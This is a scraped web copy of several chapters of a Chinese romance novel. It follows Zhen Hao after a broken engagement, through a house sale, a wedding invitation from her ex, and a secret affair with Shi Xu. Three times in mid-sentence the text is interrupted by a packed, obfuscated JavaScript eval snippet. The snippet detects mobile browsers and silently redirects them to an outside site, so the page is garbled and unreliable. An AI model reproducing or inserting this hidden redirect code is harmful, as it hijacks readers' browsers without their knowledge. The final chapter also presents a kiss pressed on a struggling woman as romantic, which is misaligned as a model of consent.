长辈有时候的想法真的叫人无可奈何，当时正逢甄家和秦家谈婚论嫁的阶段，甄好还十分气恼地替秦深说了好话：“奶奶、妈，你们这样会不会太不尊重人了？我是你们的孙女、女儿，你们心疼我，希望我嫁得好，我很感激，但阿深也是别人家捧在手心里的宝，却被你们嫌这嫌那的，换位思考一下，如果是我被人家这样挑剔，你们心里会好受吗？” 甄奶奶哎呀两声，反驳了甄好的说法：“阿深这个人啊，奶奶是不敢有嫌弃的，个子高、模样俊，工作也好，就是这地方太远了，而且还没有买房……” “阿母说得对。”何允莲也连连点头赞同，“阿深这个女婿，我是没什么不满意的，唯一的就是……” “就是没有时序家有钱对不对？”甄好嘴角勾起一抹讥笑，“不像时序家有房有车还有大集团对不对？就算你们说的都对，那么请问时序人在哪里？请问我都多久没有他的消息了，嗯？” 何允莲两人被甄好怼得哑口无言。 和秦深分开后，一些回忆总是会见缝插针地钻进她的脑海里，怎么赶都没用。 她索性也就不强迫自己，甚至逼迫自己每天用秦深送的口红、化妆品、包包等物品，还会刻意去他们吃过的饭店、走过的地方一遍遍重温，用一次次的心痛来让自己变得麻木，直到可以坦然面对。 她跟周淳芮两人提起过自己这个近乎变态的走出失恋的方法，周淳芮对她竖起大拇指：“狠人，真乃我辈楷模。” 事实证明，这个法子确实有效。她真的在一次次的自我虐待中，渐渐感受不到疼痛，只是很偶尔地，会在听到某一首曾经和秦深一起听过的歌曲突然失声痛哭。 但她不为此而感到羞耻，重感冒尚且都要十天半个月才能康复，更何况是与一个相爱八年的人告别。 那种疼痛不亚于从身上割下一块肉，可血流会停止，伤口会结痂，她相信总有一天会雨过天晴。 现在只能将一切交给时间。 时序先送甄好前往房产中介处，再自己开车去医院。 路上，甄好将车窗降下一半，任凭夜风吹拂在脸上。 一半是为了醒酒，一半是因为她容易晕车，吹吹风会舒服些。 等到达目的地后，甄好的酒已经醒得差不多了。 她下了车和时序说再见，后者很快开着车消失在她的视野当中。 城市的夜晚霓虹闪亮，连空气都带着繁华的味道。 甄好站在原地深吸一口气，才抬脚缓缓走进去。 当看到坐在会客室里的买家时，她愣在了原地。 “怎么是你？”甄好难以置信。 看见她，沈却动作优雅地站起身，朝她伸出手：“好好妹妹，好久不见。” “真的很久没见了，怎么这么巧？”甄好轻轻地跟他握了握手，而后双双坐了下来。 甄好真的很惊讶沈却竟是自己房子的买家，要不是眼下不方便，她都想打电话问问是不是表哥的手笔了。 沈却是她表哥陈熹言的好兄弟，他们第一次见面是在晚来清吧。 当时陈熹言说是要带正在上大学的甄好出去见见世面，于是就带着她去参加了一场生日会。 那是她第一次去清吧，也是第一次见到那么多帅哥美女。 无论是陆云祁、沈却和沈嘉航，还是苏星禾和孟听晚，他们每个人都是那样光鲜漂亮，接人待物游刃有余。 当时的甄好将羡慕放在心底，暗暗决定将来一定要向他们看齐。 忆起往事，甄好嘴角浮起一抹自嘲的笑。 还决定向他们看齐呢，她现在都窘迫到要卖房子了，买家还是她当初的“航向标”。 “也许这就是缘分吧。”沈却并未多说什么。 在甄好来之前，他刚好收到时序发来的消息：“千万别提到我。” 看完消息他不禁摇头轻笑，年轻人的世界他真的有些看不懂了。 喜欢就大胆去追啊，竟然还玩这种默默付出。 他实在也只大这些年轻人三四岁而已，怎么就有种自己老了的感觉…… 他和时序会相熟是因为两家属于世交，在时序被认回裴家后，两人渐渐有了往来，长大后又在生意方面有了交集，这才有了眼下这一幕——他受时序所托，以他的名义买下甄好急售的房产。 见沈却嘴角忽然挂起笑意，甄好的心情也慢慢放松下来，不由自主问起了故人近况：“云祁哥、嘉航哥，还有星禾姐姐和听晚姐姐还好吗？” “他们都挺好的。”想到那帮朋友，沈却嘴角的笑意更深了，“有机会大家出来聚一聚。” “好啊。”甄好弯起眼睛笑。 签完合同走出房产中介处时，甄好长长地舒了一口气。 说不遗憾是假的。 为了这套房子，她付出了什么只有她自己清楚。 可她也明白了，人就该做自己能掌控的事情，尤其是在消费这件事上。 她现在只不过是重新回到了没有房产的生活，甚至还因此赚了点增值的钱，严格说起来，她没什么好不高兴的。 可她心里就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758898|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是忍不住觉得怅然，舍不得的情绪一直挥之不去。 另一边，医院。 见到来探望自己的时序，何允莲笑得脸上像开了花。 “哎呀，小序怎么来看我了？”她边说边拍了拍病床前的凳子，“快坐，快坐。” “谢谢阿姨。”时序并未坐下来，而是问道，“阿姨想吃苹果还是猕猴桃？” 时序将甄好买的水果一并提了过来。 “随便，随便，阿姨不挑。”何允莲看时序那是越看越满意，只差没说将女儿许配给他了。 时序削好苹果后，状似无意地说：“阿姨快尝尝甜不甜，都是好好买的呢。” 听到这话，何允莲先是一顿，再是绽开更大的笑容：“我们好好就是孝顺，小序你说是吧？” 她推销女儿的意图再明显不过，时序也顺着她的话说道：“所以您更要快点好起来，到时候我和好好来接您出院。” “好好好，阿姨一定快点好起来。”一听时序和自己女儿走得这样近，何允莲就舒心，住院的烦恼也跟着消了大半。 就在这时，时序接到了甄好打来的电话：“时序，我这边事情办好了，现在就赶去医院，真是太麻烦你了。” 见她对自己这样客气，时序心里不是滋味，却也不敢冒进，只得答应：“好，我等你。” 他一挂断电话，何允莲就笑眯眯地问：“是不是我们家好好打来的电话？” 时序点点头：“嗯，她说她马上就到。” “唉，也不知道这流感什么时候过去，搞得人心惶惶的。”何允莲又抱怨起每天只能有一个人来陪自己，“住院太无聊了，想找个人说说话都难。” “阿姨要是想找人解闷了，随时给我发消息。”时序像安抚小孩那样，十分耐心地说道，“打电话也行。” “好好好，小序真乖。”何允莲笑得合不拢嘴，“那阿姨可就不客气了啊……” 医院不留陪护人员，所以当晚甄好没逗留多久便离开了医院。 时序离开前说会在停车场等她，送她回家，因为只有半个小时医院便要清人了，所以她没有拒绝。 一来的确如时序所说的安全问题，二来她也想好好感谢他。 只是不知为何，她一上车开口就变成：“要不去我家喝一杯？” 时序握着方向盘的手微微收紧，面对她的问题有些不知所措。 甄好也很快意识到自己的话有多暧昧，忙找补：“我只是有点可惜家里刚布置好的家庭小酒馆还没有开张，就要交到别人手里了。” 她的理由正当且充分，时序最后还是点头答应了。 众所周知，喝酒很容易出事，更何况是一对本就有情的男女。 一夜荒唐过后，甄好只提出了一个要求：“暂时不要让身边人知道，可以吗？” 时序答应了。 ………… 等处理完房子和何允莲手术的事情，时间已经从深秋来到初冬。 闽市的初冬依旧暖和，一件薄外套就足以抵御渐渐转凉的风。 第不知道多少次从时序怀里醒来时，甄好的手机收到了一条快递取件短信。 她以为是自己买的什么东西，并未在意。 直到下了班回到家，从驿站取回并打开后，她整个人愣在了原地。 46. 鲜红的结婚请柬 如果彻底坠入黑暗才能够看见光明，那我自愿跳下去。 ——《甄好日记》 看见文件袋里放着的东西后，甄好这才重新看了一眼快递单。 寄件人果然是秦深。 原来那个介入他们感情的女人叫丰婉。 鲜红的请柬刺得她眼睛一痛，心脏某处也跟着疼起来。 她本以为时隔两个多月，再次看到有关秦深的东西时，心情不会再有波澜，可人的情绪很复杂，有些记忆即便被封存，在一些特定的时刻里，还是会扎得人心鲜血淋漓。 当时咖啡厅一别，秦深再也没有联系过她。后来她也奔波于医院和房产中介处，加上和时序建立起了那种奇怪的关系，更加没有心情去思考这些事。 时序……秦深…… 看见结婚请柬的那一瞬间，这两个名字在她脑海中激烈地打着架，最后变成对丰婉的好奇…… 她颤抖着手指拿出请柬，果真一张婚纱照随之滑落。 照片上的秦深是她想象中的模样，西装笔挺，系着看起来就端庄稳重的领带，只是嘴角平直，看不出幸福喜悦，却看得出神情放松。 是他们开始频繁吵架后，与她在一起时不曾出现过的松弛。 而那位丰婉小姐，身材丰腴，眼神是她所没有的锐利与坚定。 虽然她的内心很不愿承认，但照片上的两人的确称得上般配。 为什么心里会涌起一阵酸楚，甄好自己也不知道。 或许是不甘心，不甘心自己付出了整整八年青春，秦深却在短短几个月的时间就可以抛下他们的过去和另一个相识不久的女人步入婚姻殿堂…… 或许是自我怀疑，怀疑自己是不是真的不适合谈恋爱，更不适合结婚，才会在爱情里吃尽了苦头，才会沉溺在伤害里不敢朝前走一步…… 是什么已经不重要了，她此刻的心情复杂到想去网上求助网友：相恋八年的前任寄来请柬，新娘是小三，我当如何应对…… 她当然不会真的求助网友，而是在三人小群里诉说自己的苦恼。 周淳芮第一个回了消息：“什么玩意儿？秦深这个男人真有脸，这种事都干得出来。” 提起秦深，她的怨气和怒气回回都比甄好来得更旺盛。 鄢云书就显得比较冷静：“那你去吗？” “云云，你问的是什么问题？”周淳芮直接转为发语音消息，“好好凭什么去参加那个狗男人的婚礼，去污染自己的眼睛吗？要我说啊，在网上整两个花圈给他寄过去，我看就挺好。” 周淳芮说的这个法子甄好还真的想过，不过她也只是想想。 她再感到不甘心，也从没想过去现场破坏秦深的婚礼。 只是，她还没来得及回复群里的消息，手机上先收到秦深三姐发来的消息。 退婚后，秦深一家人的联系方式她都删了个干净，除了他三姐的微信。 至于为什么没有删除，甄好自己也说不清。也许是因为她心里还抱有期待，想给自己留个了解秦深近况的窗口，也许是因为秦家人真的对她很好，尤其是秦深的母亲和三姐。 对于她的这个感受，周淳芮一张嘴总是不饶人：“她们那是对你好吗？那是因为秦深喜欢你，所以爱屋及乌，说到底，她们跟秦深才是一家人，你没事别瞎揽在身上，别觉得欠了他们一家人什么。” 周淳芮总是轻而易举就看出她心里的真实想法，退婚一事，她的确觉得自己愧对除了秦深的其他秦家人。 她点开和秦深三姐的对话框，对方洋洋洒洒给她发了几段话。 “好好，很遗憾不能做成你的姐姐，是我弟没这个福气。三姐希望你将来只为自己而活，从此是璀璨人生。” “我知道我弟这个臭小子还在联系你，我骂过他了。做错了就是做错了，他是个成年人了，应该为自己的错误买单。” “他还告诉我们要邀请你来参加他的婚礼，我觉得他脑子多少有点包，你别搭理他。他这两年真的变得我都不认识了，连那种事都干得出来，我都不想承认他是我弟弟了。” “好好，我真的拿你当妹妹，如果你不介意，可以找我玩，有困难也可以找我。真的很遗憾我们不能成为一家人……” 秦深三姐说的话哪怕甄好没有转达到三人小群里，她也能猜到她们会怎么说，多半是觉得他三姐在装好人……至于是不是，她已经不想深究了，她决定彻底和过去划清界限。 不回应和不在意，是她和秦深之间最好的结局。 她给秦深的三姐回了简短的一句话：“谢谢三姐，最后一次叫你三姐，我们互删吧。” 发完这句话，又删掉对方后，甄好感觉自己浑身像被抽干了力气。 三人小群里多了不少新消息，她却已经没有心情再看。 突然响起的手机铃声让她没有多余的时间伤春悲秋，是时序打来的。 这两个多月以来，他们白天是熟人眼中的青梅竹马好朋友，晚上却是不为人知的床伴。 每一次碰撞都像是要把体内所有的怨气和压力发泄掉，慢慢地，连她自己都分不清这到底是一种什么样的感情。 她依赖这样的关系，也沉迷这样的体验，毕竟时序在方方面面都对她温柔至极。 只是她总觉得心里空得厉害，无论用什么填补都无济于事。 她接起电话，在时序还没开口前先说话：“今晚我想一个人待会儿。” 本来他们约好了去山顶看星星，这个要求是她兴致之下突然提出来的，时序二话没说就答应了。 那边的时序听出来她的情绪不太对，本想追问，话说出口之前还是决定尊重她：“好，那你今晚好好休息。” 第二天是周六，她这晚的确可以好好休息。 甄美在律所工作后，姐妹俩便一起租了一套两室一厅的房子，离律所不远，至于甄好…… 她刚辞掉工作，准备重新做职业规划。 二十八岁从零开始，会不会太晚了？甄好觉得一点也不晚。 只要行动并坚持，任何时候开始都不算晚。 甄美还在加班没有回家，甄好一个人置身没有开灯的房间里，后背抵着冰凉的门板，就那样坐在地板上双眼无神地盯着窗外不规则跳跃的光。 那是城市不变的霓虹。 只是她想安静处理自己情绪的愿望总要落空，手机铃声再一次突兀地响起，在静谧的空间里显得格外刺耳。 这回是何允莲打来的。 何允莲做了手术后，整个人恢复得很好，好到都有力气主动给她打电话催婚了：“好好啊，你下班了吗？最近有没有认识什么好男孩，你都二十八岁了，不能再拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769693|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，再拖市场就不好了……” “妈——”甄好有些头疼地打断她，“我是什么萝卜白菜吗，要什么市场？” “妈妈不是这个意思啦。”何允莲这些年的性子变了不少，不再像年轻时大嗓门，只是人变得更啰唆，也更怕孤独了，“妈妈其实一直不敢跟你说起这个话题，怕你伤心，可是妈妈心里急啊……” 这一次，甄好没有打断她的话，这的确是退婚后她第一次开诚布公说起这个话题。 “妈，明年再说吧。”甄好疲惫地闭上双眼，“事情才过去两个月，您让我喘口气。” “本来妈妈也不想跟你提这件事，可妈妈这次算是去阎罗殿走了一遭，我怕哪一天我跟你爸都不在了，留下你们三个没成家的孩子，我有什么脸面去见你的爷爷？”何允莲说着声音有些哽咽，“妈妈只是想早点看到你找到一个好归宿，这样我就放心了。” “妈，我知道了，我会留意的。”听到她这样说，甄好心里很不是滋味，“不过您别再说什么在不在的，我不爱听。” “好好好，妈不说。”见她松了口，何允莲顿时喜笑颜开，声音都高了几个度，“你也别留意了，我看时序这小伙子就不错，他总围在你身边，肯定是对你有意思吧……” 听到这话，甄好总算明白了。 看来醉翁之意不在酒，在乎时序也。 时序…… “妈，这些话我是第一次也是最后一次跟您说，希望您听完以后不要再想着这事了。”甄好坐得腿有些麻，扶着门板缓缓站起来，一边走到窗前一边沉声说道，“时序是裴氏集团的继承人，这点您清楚吧？” “我当然清楚啊，怎么了？”何允莲最满意的就是时序裴氏继承人的身份。 “那裴氏集团在咱们闽市的地位您清楚吗？”甄好看着窗外的万家灯火，继续问道。 “清……清楚啊。”被她这样连环问，一向没什么主见的何允莲突然有些心虚，“那又怎么了？” “您女儿退过婚，您也清楚吧？”为了打消何允莲的念头，甄好不惜自揭伤疤，说出这句话的同时嘴角浮起一丝苦涩。 “好好，你到底想说什么？”听到女儿突然沉下去的声音，何允莲感觉心里很不是滋味。 退婚又不是她女儿的错。 千错万错都是秦深那小子的错。 提起退婚这事，何允莲忍不住骂了两句：“秦深那个夭秀啊巴，我……” “妈。”甄好不想再听任何关于秦深的事情，再一次严词打断了她，“今后我不提起这个人，谁都不许提，晦气。” “好好好，不提不提。”何允莲连连答应。 甄好言归正传：“妈，我想说的是，裴家不会接受一个退过婚的女人当儿媳妇的，就算时序能接受，他也会因为我而在上流圈子里丢了脸面，我不想过那样的生活。也许是我的心理不够强大，我自认为我无法承受那些贵太太们异样的眼光。” 不等何允莲反驳，她自顾自总结道：“所以，妈，您以后不要再对我和时序抱有任何期待了，我和他，这辈子注定只能做朋友。” 如果在一起，注定见不得光。 后面这句话甄好没有说出口，任由酸涩在心里翻涌，任由思绪被黑暗吞没。 窗外的霓虹一闪一闪，她的心却寸寸下沉，直达深渊。 47. 咬破了某些东西 我勇敢地与过去告别，也勇敢地走向未来。 我希望全天下的女孩都能够勇敢地爱自己。 ——《甄好日记》 当晚，甄好失眠了。 她们姐妹俩一人睡一间房，静谧的夜里，她可以听到甄美轻手轻脚地进门、洗漱、回屋…… 甄家家教严格，在有人正休息的情况下，都会尽可能地不去打扰人家，无论对方是谁。 但哪怕甄美的动作极轻极轻，甄好也还是将所有动静听得清清楚楚。 等屋里重新归于平静时，她望着漆黑的天花板发呆。 是什么时候睡去，夜里又是否做了梦，甄好通通不知道，翌日醒来时，她满脑子只想做一件事。 她拿起放在床头柜的手机，想打电话才发现手机不知何时没电自动关机了。 甄好苦笑一声，好似连手机都在告诉她着什么。 她现在不需要上班，自然也就不用受闹钟的支配，只不过拿起手表一看，此刻的时间比她上班时的生物钟还要早。 不能睡的牛马时光从早困到晚，能睡的时候却怎么都睡不着…… 人在很多时候真的足够贱。 甄好一边感慨一边给手机充上电，然后蹑手蹑脚地出了卧室，去到洗手间洗漱。 不用上班的日子时间好似都变得慢了下来，她慢吞吞地刷完牙、洗完脸，又简单地做了一下护肤，回到屋里一看时间，竟才过了十五分钟。 关机的手机已经自动开机，甄好却没了方才想打电话的冲动。 像是心有灵犀般，她没打出的那个手机号码在此时打了进来。 甄好心头一跳，竟有些不敢按下接听键，但怕吵醒还在睡梦中的甄美，她第一时间就按下了静音键。 就在来电即将自动挂断的前一秒，甄好接了起来：“早。” 开口时，她才发现自己的嗓音哑得可怕。 接起来后，她才觉得不对劲。 按理说，时序不会这么早给她打电话才对。 “我是不是吵醒你了？”听到甄好喑哑的声音，时序心里涌起一丝丝心疼，连带着语气也变柔了几分。 他昨晚像往常一样，给甄好发了晚安消息，却迟迟没有收到回复。 并非因为这点他就觉得心里不安，还因为傍晚甄好的那通电话听起来有点不对劲，于是在久久得不到答复之后，他又拨打了她的电话。 电话却没人接。 在给自己做了一系列心理建设后，时序在不安中快速结束了应酬，又在不安中度过了一晚。直至清晨五点钟，他猛地惊醒，再也睡不着。 等反应过来自己在做什么时，他人已经来到了甄好家楼下。 望着那扇不知看过多少回的窗户，时序有些苦涩地笑了笑。 他忍住了给甄好打电话的冲动，选择下车透透气。 初冬的早晨有点冷，风一吹，带来更深的寒意。 时序在车旁站了会儿，不由得拢了拢身上的外套，收回落在那扇窗户上的视线，重新回到车里。 他摸出随身携带的金属打火机，“咔嗒咔嗒”的开关声在寂静的清晨里格外清晰。 时间一分一秒地过去，时序内心的焦灼也一点一点地攀升，直到—— 那扇窗的灯，忽地亮了。 他高高悬着的那颗心也随着亮起的灯而落下。 好好在家，好好没事。 拿出手机打电话的时候，时序能明显感觉到自己的手指在微微发抖。 听到甄好声音的一瞬间，他的舌头突然打了结，明知道自己是等她醒了才打的这个电话，开口却是：“我是不是吵醒你了？” “没有。”甄好将窗帘拉开，看着还有些暗的天色，说出了自己原先想打电话给时序的目的，“什么时候有空？见一面吧。” 时序脱口而出：“现在就有空。” 站在窗边的甄好一愣：“现在？” “不是，我的意思是……”时序还没找好合理的借口就听到手机那边再次传来甄好轻轻柔柔的声音。 “你在我家楼下？”甄好望着巷口的那辆车，语气有些惊讶。 她和甄美租住的是老旧楼梯房，没有地下停车库，人车不分流，又是在低矮的三楼，因此她很难不注意到时序那辆看起来就价值不菲的豪车。 “我……”时序还想挣扎一下，但甄好没给他机会。 “我看到你的车了。”甄好目光灼灼地看着巷口的方向。 她说不清心里是什么感觉，只是很快又说道：“等我，五分钟。” 时序那辆车停在那里实在是太扎眼了。 这是甄好为自己想快点见到他而找的理由。 三分钟后，车上。 甄好的时间观念向来好，说五分钟实际只是穿上鞋子就下楼了。 她不是第一次素面朝天地面对时序，所以哪怕只是简单地清水洗了一下脸就出现在他面前，也不会感觉到尴尬。 一上车不等他说话，她先开口：“我饿了，我们去吃早餐吧。” “想吃什么？”时序一边说一边发动车子，准备先开出巷子，去到大路。 “想吃闽大南门口的那家杜阿叔馄饨了。”甄好不是突然想去那家早餐店，而是心里有着一项计划。 “好。”时序没有任何异议，稳稳地开着车。 “你不问问我为什么想去闽大吗？”这里离闽大十万八千里，特意去吃个早餐实在是有些不划算。 “你想去哪里我都会陪你，不论缘由。”更何况只是吃个早餐而已，他不认为这有追问的必要。 “杜阿叔馄饨是我和他经常去吃的店。”甄好却残忍地开口，“我想找个人和我去刷副本，覆盖掉过往的足迹。” 说完这话，甄好觉得还不够，又一字一字地补充：“而这个人，可以是任何人。” 时序握着方向盘的手收紧了几分，连车速都慢了几分，开口时却还是想着尽量不让甄好听出异常：“没关系，我不介意。” 他真的不介意。 就像荒唐的一夜过后，他与甄好说的：“我愿意先住进你身体里，再住进你心里。” 而这个过程需要多长时间，时序不知道，他只知道，无论要等多久，他都愿意。 短短的一句话，将甄好想说的话堵在了喉咙口。 她最终还是一个字都没有说，车厢陷入沉默当中，谁都没有再开口说话。 车子大约行驶了五十分钟才到达早餐店，这还是在时间早，路况良好的前提下。 杜阿叔馄饨店是夫妻店，如今距离甄好毕业已经过去四年之久，杜阿叔却还是一眼认出了她。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793593|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小甄同学，好久不见。”杜阿叔背对着时序，笑意盈盈，“这么早就和小秦来母校啊……” 话说到一半，他回头看到时序，才惊觉自己认错了人，忙尴尬地转移话题：“帅哥想吃点什么？” 时序努力忽视杜阿叔自然而然提起那个人的举动，温声道：“跟她一样。” 仅凭杜阿叔认错人这一点，他就可能想象到甄好和秦深在大学时代是何其恩爱的情侣，一种酸酸涩涩的感觉慢慢浮现在他心头，挥之不去。 明知道来闽大难以避免会遇见甄好的过去，可他就是想来看看，想看看甄好生活过的点滴。 杜阿叔的话也让甄好心里五味杂陈，那种物是人非的感觉在这一刻得到了具象化，更让她清楚地认识到，她和秦深真的已经是过去式了。 她笑了笑，是与从前不一样的温和：“杜阿叔，老样子。” “好嘞，小碗馄饨，不要香菜，多放酸菜。”杜阿叔一边念着一边朝明厨走去。 杜阿婶这时正好买菜回来，刚走到店门口就看到了熟悉的人，不由得惊喜道：“小甄，你怎么来了？” “这不是想念阿叔阿婶的手艺了嘛，就来了。”甄好笑着说道。 “几年不见，小甄不仅变漂亮了，嘴也更甜了呢。”杜阿婶被夸得笑得见牙不见眼。 眼前的一切好像变了，又好像都没变。杜阿叔和杜阿婶依旧恩爱无比，小店依旧只有五套桌椅，只是墙壁比从前斑驳，她的心情也不似以往甜蜜。 最大的改变是，她身边的人再也不可能是那个人。 馄饨很快被端上来，甄好低下头，用汤勺舀起一个，轻轻吹了吹才缓缓递到嘴边。咬下馄饨的那一刻，好似也将某些东西咬破了，鲜美和清甜在口腔里跳跃，她却觉得眼睛热热的，想哭。 “秦深，再见。” 她在心里对自己这样说。 “好吃吗？”吃到第二个馄饨时，甄好才微微抬起头，问时序。 时序点点头：“嗯，阿叔阿婶的手艺一绝。” 听到赞美的杜氏夫妻笑呵呵的，杜阿婶端来一碟小菜和两个茶叶蛋：“尝尝阿婶研究的新菜。” “谢谢阿婶。”甄好两人异口同声。 这时，店里正好来了第二桌客人，杜阿婶忙招呼去了。 吃完早餐后，太阳刚热烈，照在身上暖洋洋的。 “我想去学校转转。”甄好说这话时并没有看向时序，而是仰头望着南门口那棵高大的小叶榕。 茂密的树冠遮天蔽日，常常是小情侣们的约会圣地，也藏着她和秦深的过往。 没等时序回答，她先一步一步地走到榕树下。风一吹，树叶沙沙作响，像在奏着一曲或离别或重逢的小调。 “上大学的时候，我很喜欢这里。”甄好像是在对时序说，又像是在喃喃自语，“我很喜欢榕树，它总能让我的心感到平静。” 时序默默听着她的话，并未回答。 他有种很奇怪的感觉，这些话并不是甄好真正想说的。 而甄好也并未想要得到他的什么回答，说完之后便径直走向校门。 时序很快跟上，与她并肩而行。 “他……”直到走进校园内部，甄好才又开口，却只说了一个字，便再无下文。 她顿了顿，才继续说：“要结婚了。” 48. 只想做你的老公 我总是以为自己无坚不摧，事实上，一句关心的话语就能够让我泪流满面。 ——《甄好日记》 彼时两人正好走到校园内另一棵枝繁叶茂的榕树下，甄好先停下脚步，转身面对时序。 晨风温柔地吹拂着，耳畔有清脆的鸟鸣，整个世界却好似在一瞬间安静下来，只剩时序怦怦直跳的心。 他有种直觉，甄好接下来的话不是他想听的。 然而她只是淡淡地笑道：“他邀请我参加他和那个女人的婚礼。” 对比她的云淡风轻，时序下意识握起的拳头昭示着他内心的愤怒：“他……” 时序想骂人，但最后到底还是只说了一个字，便再无后文。 “说真的，我挺难过的。”甄好并不想等他回答，像是找到一个树洞，将心里的苦楚通通倒了出来，“我不知道像这样的情绪反扑还会有几次，也不知道心里的不甘何时才会彻底消散，我……” 说到这里，她却没有继续往下说。 榕树下有张长椅，甄好收回落在时序脸上的目光，径直走过去坐下来。 世界的喧嚣在她挪开视线时重新聚集到时序耳边，他无意识地掏了掏耳朵，才跟着坐了过去。 两个人就这么静静地坐着，感受着大学校园的宁静。 “我不想继续这样下去了。”半晌，甄好轻声说出了方才没说完的话。 从昨晚接到何允莲的电话开始，她就存了和时序分开的心思。 她对何允莲说的那些话，从前只在她心里翻来覆去地咀嚼，当真的亲口说出来后，那种无形的差距变得有形起来。 她彻底认识到自己和时序之间的可能性有多渺茫。 “好好？”就在甄好说完这句话时，周淳芮的声音响了起来，“你怎么在这里？” 看到突然出现的周淳芮，甄好先是有些局促不安地站了起来，而后才强装镇定地说道：“我……突然想吃杜阿叔馄饨，就过来了。” “驱车一个多小时来吃馄饨？”周淳芮半信半疑地看着甄好，“好好，你兴致不错呀。” 她的语气里满是调侃，听得甄好有些不自在地挠了挠耳朵。 和时序那不清不楚的关系，只有天知地知，甄好谁都没有告诉。 大清早突然被好姐妹抓个正着，虽然是在大庭广众之下，但她仍觉得浑身不自在。 反观时序，一副老神在在的模样，丝毫没有被撞破的窘迫感。 看见周淳芮身边站着的男人是谁时，甄好反客为主：“还说我呢，你怎么也一大早就来了闽大？” 周淳芮这才意识到自己身边站着傅安淮，说话一下子也变得结巴起来：“我……我也是来这边吃……早餐的。” 这个借口找得有多蹩脚，不用其他人多说，周淳芮自己也清楚。 闽大离她住的地方十万八千里，她的行为可以说是和甄好半斤八两，谁也别想说谁。 所谓五十步笑百步，说的便是眼下这两人。 傅安淮是闽大的教授，也是她和甄好的高中班主任傅文山的儿子，她之所以会出现在闽大，原因很简单——三个小时后，她将飞往巴黎出差。 小情侣分开前总是要腻歪一下，于是她昨晚住到了傅安淮在闽大附近买下来的公寓，谁知会一大早遇到甄好。 但这些都不是重点，重点是她还没做好心理准备公开自己和傅安淮的恋情。 在场的两个男人只是互相轻轻地点头示意，并未开口说话。 甄好方才那句没头没脑的话也随风消散在空气里，仿佛不曾发生过。 “你要飞巴黎？”甄好抓住了另一个重点，“怎么不告诉我？我好去送你。” 两个男人走在前面，甄好和周淳芮并肩走在后面，早晨的阳光洒满大地，为天地万物镀上了一层光辉。 “就……”周淳芮难得有些扭捏，“哎呀，等我回国再跟你细说吧。” 最终，她还是选择什么都不说。 这是她第一次谈恋爱，也是第一次知道什么叫害羞。 甄好也不强人所难，一路上都没再开启什么新话题。 傅安淮去上课后，周淳芮拒绝了甄好的送机要求：“等我回国那天再来接我。” 她向来都是一个人去车站或机场，因为她不喜欢离别的场面，只有接机才有重逢的温馨。 如此一来，甄好和时序两人又变成了独处。 “可以陪我去田径场走走吗？”甄好毫无征兆地开口。 面对她的突然客气，时序有些心慌，却还是应道：“嗯。” 两个人绕着田径场走了一圈之后，甄好倏地顿住脚步，转身面向时序：“阿序哥哥，你可以在这里吻我吗？” 在充满青春气息的大学校园里，在朝阳温柔的注视下，在心跳还没有乱了秩序时。 虽然对于她的要求时序心有疑惑，但仍然轻轻搂住她的腰，低头吻上那润泽诱人的唇。 甘甜在一瞬间蔓延，时序心念微动，就在他想要加深这个吻时，甄好却猛地推开他，残忍道：“他也在这里吻过我。” 时序原本还微微扬起的嘴角瞬间拉直，目光也变得深沉。 “上大学的时候，我们沿着这个田径场走了一圈又一圈，吻了一次又一次。”甄好丝毫没有要停下来的意思，“我和……” “够了。”时序铁青着脸，从牙缝里挤出这两个字。 “他对我很温柔，我很喜欢跟他接吻的感觉。”甄好却不为所动，自顾自地继续说着，“他……” 她的话还没说完，后脑勺就被一只大手掌住，紧接着嘴唇覆上一片柔软。 时序的吻不再像从前那样温柔，霸道中带着强烈的占有欲，甚至有一丝报复的味道。 甄好感觉腰间的那只大手越握越紧，紧到让她感到有点疼，唇上的压力却让她无暇顾及。 她本能地挣扎着，想要脱离男人的怀抱，然而她越挣扎，时序就将她抱得越紧。 一个长长的吻结束后，两个人的呼吸都有些不稳。 时序将两人的距离微微拉开，但没有彻底放开甄好。 甄好面红耳赤地捶打着他的胸膛，想让他放开自己：“你松开。” 时序咬紧牙关，一字一字地说道：“那他这样吻过你吗？” 闻言，甄好愣住。 没有。 秦深不曾这样吻过他，因为她不允许。 她不喜欢这种热烈的湿吻，更别说在公共场合进行。 “你不回答……”时序自顾自地下结论，“就是没有。这一局，我赢了。” 甄好从没见过他这样的表情，一时之间不知如何反应，索性转身快步离开。 时序默默地跟在她身后，步伐闲适，嘴角始终带着淡淡的笑意。 他好像找到了新的相处方式，准确来说，是他好像知道今后与甄好的路应该怎么走了。 